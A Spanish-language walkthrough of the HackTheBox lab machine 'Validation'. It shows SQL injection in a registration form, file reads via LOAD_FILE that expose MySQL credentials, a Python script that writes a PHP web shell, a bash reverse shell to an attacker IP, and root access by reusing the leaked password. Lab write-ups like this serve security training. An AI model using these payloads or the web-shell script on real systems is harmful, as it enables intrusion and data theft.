Validation

Pasted image 20240318230019.png

Tags: #easy #SQLi #informationleakage #rce #linux #LFI #RFI
Platform: HackTheBox
Difficult: Easy
Creator: ippsec


Foothold


Nmap

Para comenzar, realizamos un escaneo de puertos en la máquina objetivo utilizando Nmap para identificar los servicios disponibles.

$ nmap -Pn -sS --min-rate 5000 -n -p- --open 10.10.11.116 -oG allPorts

Pasted image 20240318230446.png

Luego, ejecutamos un escaneo más detallado para identificar los servicios en los puertos abiertos.

$ nmap -Pn -sCV -p22,80,4566,8080 -n 10.10.11.116 -oN portScan

Pasted image 20240318230650.png

Port 80 Recon

Pasted image 20240318230906.png

Al acceder al puerto 80, descubrimos un sistema de registro para un torneo.

Para entender mejor su funcionamiento, realizamos una prueba de registro y la interceptamos con BurpSuite.

  1. Pasted image 20240318231219.png

  2. Pasted image 20240318231306.png

  3. Pasted image 20240318231750.png

El flujo de operaciones es el siguiente:

  1. Se efectúa una solicitud de tipo POST a http://10.10.11.116/ incluyendo el nombre de usuario y un país.
  2. El servidor redirige la solicitud al punto final siguiente, /account.php, y establece una nueva cookie llamada user, que contiene un hash MD5 constante para todos los usuarios.
  3. Al cargar, el punto final nos muestra una lista de usuarios registrados en el mismo país que el nuestro.

Al considerar el funcionamiento interno de esta página, se presume que al registrarse, se guardan los datos en una base de datos. Cuando se accede al punto final account.php, el servidor web utiliza nuestra cookie user para determinar nuestra identidad, probablemente realizando una consulta SQL similar a esta:

SELECT username FROM users WHERE country = 'Argentina';

En este escenario, es posible intentar una inyección SQL básica para obtener todos los usuarios de todos los países. Para probar la inyección, agregué un usuario llamado chemaalonso de España, además de los usuarios test y zaikoarg de Argentina.

SQL Injection

Request:
Pasted image 20240318232721.png
Response:

Pasted image 20240318232820.png
La respuesta confirma el éxito de la inyección y muestra una lista de todos los usuarios.

Para entender cómo funciona la inyección, analizamos la consulta SQL modificada que el servidor ejecuta en el backend:

SELECT user FROM users WHERE country = 'noexistant-country' OR 1=1-- -';

Vamos a analizar cada parte de la consulta inyectada:

  • 'noexistant-country': Esto es simplemente un valor falso que no coincidirá con ningún país en la base de datos. Es solo un lugar para iniciar la inyección.
  • OR 1=1: Esta es la parte importante de la inyección. La cláusula OR 1=1 siempre es verdadera, lo que significa que esta condición se cumplirá para todas las filas de la tabla users.
  • -- -: Esto es un comentario en SQL que hace que el resto de la consulta original se ignore. El -- indica que todo lo que sigue en esa línea es un comentario y no se ejecuta como código SQL.

Entonces, al juntar todo, la consulta modificada busca usuarios donde el país sea falso (que no exista) o donde 1=1 siempre sea verdadero, lo que devuelve todos los usuarios de la tabla users.

SQLi to LFI

Exploramos la base de datos pero no encontramos información relevante.
Sin embargo, aprovechamos la capacidad de MySQL para leer archivos del sistema, utilizando la función LOAD_FILE().

Request:
Pasted image 20240318234507.png
Response:
Pasted image 20240318234544.png

La ejecución es exitosa, y al examinar el archivo /etc/passwd, notamos que solo el usuario root tiene una shell bash, sugiriendo que podríamos estar en un contenedor.

Getting MySQL Credentials

Continuamos explorando los archivos del sistema y encontramos el archivo /var/www/html/config.php
Pasted image 20240318234947.png

Contiene las credenciales de MySQL uhc:uhc-9qual-global-pw

User


SQLi to RCE (via RFI)

Al notar que la función LOAD_FILE() estaba disponible, me surgió la idea de verificar si era posible escribir archivos a través de la inyección SQL utilizando INTO OUTFILE.

Como prueba inicial, intenté crear un archivo en la carpeta /tmp/ y luego leerlo utilizando LOAD_FILE().

  1. Pasted image 20240318235534.png
  2. Pasted image 20240318235629.png
  3. Pasted image 20240318235646.png

Ahora que hemos logrado escribir archivos, podemos intentar ejecutar comandos utilizando una shell básica en PHP. En este caso, he creado un pequeño script en Python para simplificar todo el proceso:

import sys
import requests
import signal
from urllib.parse import quote

# Change the URL here
url = "http://10.10.11.116"


def handler(signal, frame) -> None:
    print("\t\n[+] Exiting...")
    sys.exit(1)


def validate_url(url: str) -> bool:
    try:
        response = requests.get(url)
        return response.status_code == 200
    except requests.RequestException:
        return False


def create_shell(url: str) -> str:
    data = {
        "username": "testttt",
        "country": """pwned' UNION SELECT '<?php echo \\'<pre>\\' . shell_exec($_GET["cmd"]) . \\'</pre>\\' ?>' INTO OUTFILE '/var/www/html/shell.php'-- -"""
    }
    response = requests.post(url, data=data, allow_redirects=False)
    session_cookie = response.headers.get("Set-Cookie", "").split("=")[1]

    requests.get(url + '/account.php', cookies={"user": session_cookie})
    return session_cookie


def execute(url: str, cookie: str, cmd: str) -> None:
    shell_url = url + '/shell.php?cmd=' + quote(cmd)
    response = requests.get(shell_url, cookies={"user": cookie})
    
    try:
        output = response.text.split("<pre>")[1].split("</pre>")[0]
        print(output)
    except IndexError:
        print("[X] Error: Unable to execute command")


def main() -> None:
    # CTRL-C Handling
    signal.signal(signal.SIGINT, handler)

    if len(sys.argv) != 2:
        print("Usage: python3 exploit.py {CMD}")
        sys.exit(1)

    cmd = sys.argv[1]

    if not validate_url(url):
        print("[X] Error: Invalid URL or unable to connect")
        sys.exit(1)

    session_cookie = create_shell(url)
    execute(url, session_cookie, cmd)


if __name__ == '__main__':
    main()

$ python3 exploit.py whoami

Pasted image 20240319000008.png

Ahora que podemos ejecutar comandos de forma remota, vamos a obtener una shell interactiva.

$ python3 exploit.py "bash -c 'bash -i >& /dev/tcp/10.10.14.17/1234 0>&1'"

Pasted image 20240319000245.png

Privilege Escalation


Si recordamos, habíamos encontrado algunas credenciales en los archivos de configuración del servidor web.

Podemos intentar utilizar esa contraseña para autenticarnos como root.
Pasted image 20240319000529.png

Lo tenemos !